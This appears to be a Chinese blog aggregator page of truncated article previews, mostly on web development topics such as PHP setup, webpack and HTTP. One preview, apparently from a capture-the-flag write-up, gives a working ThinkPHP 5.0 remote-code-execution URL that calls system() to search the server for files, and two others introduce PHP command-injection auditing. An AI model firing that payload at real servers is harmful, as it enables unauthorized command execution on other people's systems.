如果有一个项目我们怎么进行前期准备工作及测试用例的选取,在编写自动化测试用例过程中应该遵守以下几点原则?--web用例的稳定性和效率如何提高:
1、自动化前期准备工作: 1、先熟悉业务,项目背景,项目现状,测试目前存在的问题 2、选取项目周期长,历史功能稳定;在这样的情况下筛选用例来做自动化,从功能用例中选,如已经选取 200 个用例 3、如果做结构,需要了解项目接口的特征,选取部分接口实际操作下 了解接口的鉴权方式,数据格式 xml、js ... 查看全文
centos通过yum安装php
1、添加php的yum软件仓库 sudo rpm -Uvh https://mirror.webtatic.com/yum/el6/latest.rpm 2、安装php相关软件,执行过程中全部选择yes即可 sudo yum install php71w.x86_64 php71w-cli.x86_ ... 查看全文
纯洁度测试 https://www.zxgj.cn/g/chunjie
纯洁度测试,你是一个纯洁的小清新呢,还是一个邪恶的小恶魔呢?嘴上说着自己纯洁,内心可能不一定哦,在这个社会大大染缸泡太久,难免会被世俗同化了。你的内心还保持着花样年纪的纯洁吗?做个测试,看看你到底还有多清纯。 在线工具 测试纯洁度 https://www.zxgj.cn/g/chunjie 纯洁度测 ... 查看全文
centos6-7 yum安装php的方法
1.检查当前安装的PHP包 yum list installed | grep php 如果有安装的PHP包,先删除他们 yum remove php.x86_64 php-cli.x86_64 php-common.x86_64 php-gd.x86_64 php-ldap.x86_64 php- ... 查看全文
ThinkPHP 5.0 版本存在getshell漏洞 php_rce
查找flag:http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%2 ... 查看全文
C#中HttpWebRequest的用法详解
本文实例讲述了C#中HttpWebRequest的用法。分享给大家供大家参考。具体如下: HttpWebRequest类主要利用HTTP 协议和服务器交互,通常是通过 GET 和 POST 两种方式来对数据进行获取和提交。下面对这两种方式进行一下说明: GET 方式: GET 方式通过在网络地址附加 ... 查看全文
flask web实战1.27
1、在pycharm的terminal中输入 生成requirements.txt文件 pip freeze > requirements.txt 安装requirements.txt依赖 pip install -r requirements.txt 2、Jinja2 https://blog.c ... 查看全文
解决WebMvcConfigurer下的addViewControllers无法找到制定页面
解决WebMvcConfigurer下的addViewControllers无法找到制定页面 这种都已经配置了拦截跳转,但无效的原因是,没有加载thymeleaf依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifact ... 查看全文
nginx配置访问https[自签版]
通过openssl生成证书 (1)设置server.key,这里需要设置两遍密码: (2)参数设置,首先这里需要输入之前设置的密码: 然后需要输入如下的信息 (3)写RSA秘钥(这里也要求输入之前设置的密码): (4)获取证书 (5)完成这一步之后就得到了我们需要的证书文件和RSA私钥了 serve ... 查看全文
2020/1/28 PHP代码审计之代码执行漏洞
0x00代码执行原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞,这 ... 查看全文
Javaweb接收表单数据以及中文乱码处理
前端表单数据 常见的表单项的传值,如: 普通input 单选radio 多选checkbox select下拉选择 textarea文本域 普通 input : name属性值为后台接收时的参数值。 用户名:<input type="text" name="username"><br> 密码:<in ... 查看全文
RPC和http协议的区别
rpc:远程过程调用,包括传输协议和序列化协议(编码协议) 传输协议包含: http2 协议,也有如dubbo一类的自定义报文的tcp协议。 序列化协议包含: 如基于文本编码的 xml json,也有二进制编码的 protobuf hessian等。 http协议中报文头占了很大字节,效率很低。 r ... 查看全文
aceql-http docker 试用
以前有介绍过aceql-http 一个不错的database rest http 暴露,充分利用了tomcat 的好多特性,以下是基于docker 运行的学习 环境准备 dockerfile FROM dalongrong/openjdk11:stretch-jvm-tools LABEL AUTH ... 查看全文
揭秘webpack loader
Loader(加载器) 是 webpack 的核心之一。它用于将不同类型的文件转换为 webpack 可识别的模块。本文将深入探索 webpack 中的 loader,揭秘它的工作原理,以及如何开发一个 loader。 ... 查看全文
HttpServletResponse工具类和HttpServletRequest工具类,前台参数接收方式和后台返回(JSON)数据格式
RequestUtils.java 操作类 package cn.utils; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import o ... 查看全文
2020/1/28 PHP代码审计之命令执行漏洞
0x00 命令执行漏洞原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏 ... 查看全文
C#调用WebService实例和开发
1.1、Web Service基本概念 Web Service也叫XML Web Service WebService是一种可以接收从Internet或者Intranet上的其它系统中传递过来的请求,轻量级的独立的通讯技术。是:通过SOAP在Web上提供的软件服务,使用WSDL文件进行说明,并通过U ... 查看全文
webpack 入门(1)入口(entry)出口(output
webpack.config.js const path = require("path");//不同的系统上对于,路径的定义是不一样的,使用path模块可以避免这些差异带来的影响 const join = function (url) {//定义一个路径拼接程序 return path.join( ... 查看全文
h2 web console使用
在高并发情况下,in memory模式下h2的性能要远高于sqlite(单线程下,还是sqlite高很多),当前版本MVStore作为H2的默认存储引擎。 安装h2 windows版本 C:\Program Files (x86)\H2\bin>java -cp h2-1.4.200.jar org ... 查看全文
通过图轻松了解HTTP状态码
状态码是当客户端向服务器端发送请求时,描述返回的请求结果。以3位数组和原因短语组成 状态码类别原因短语 1XX Informational(信息性状态码) 接收的请求正在处理 2XX Success(成功状态码) 请求正常处理完毕 3XX Redirection(重定向状态码) 需要进行附加操作以完 ... 查看全文
意外发现--http-server使用
http server 在很多情况下,需要在本地开启http服务器来测试。所以就需要一个简单的省事好用的http服务器。以前的时候,都是使用php的本地环境,但是,自从学了nodejs,发现了http server好东西。不用配置直接在当前文件夹内打开cmd,就能够使用,简单易用,轻松方便 简介 在 ... 查看全文